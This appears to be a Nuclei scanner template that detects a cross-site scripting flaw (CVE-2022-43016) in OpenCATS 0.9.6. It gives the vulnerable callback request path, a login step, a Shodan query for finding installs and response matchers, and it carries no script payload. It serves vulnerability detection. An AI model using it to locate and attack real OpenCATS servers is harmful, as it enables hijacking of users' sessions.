id: CVE-2022-43016 info: name: OpenCATS 0.9.6 - Cross-Site Scripting author: arafatansari severity: medium description: | OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the callback component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability. reference: - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_callback.md - https://nvd.nist.gov/vuln/detail/CVE-2022-43016 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-43016 cwe-id: CWE-79 epss-score: 0.00097 epss-percentile: 0.40244 cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: opencats product: opencats shodan-query: title:"OpenCATS" tags: cve,cve2022,xss,opencats,authenticated http: - raw: - | POST /index.php?m=login&a=attemptLogin HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} - | GET /index.php?m=toolbar&callback=&a=authenticate HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - 'EVAL=' - 'cats_connected' condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100f820fe2fdb4391dcba7d5947dd8bdf2383578f6e2d89b40a59b31b8d4d60c8eb02200906e1639c8255738e6af2094b5a1bdcda303e61a8c1d31512ac4008aa6bcba5:922c64590222798bb761d5b6d8e72950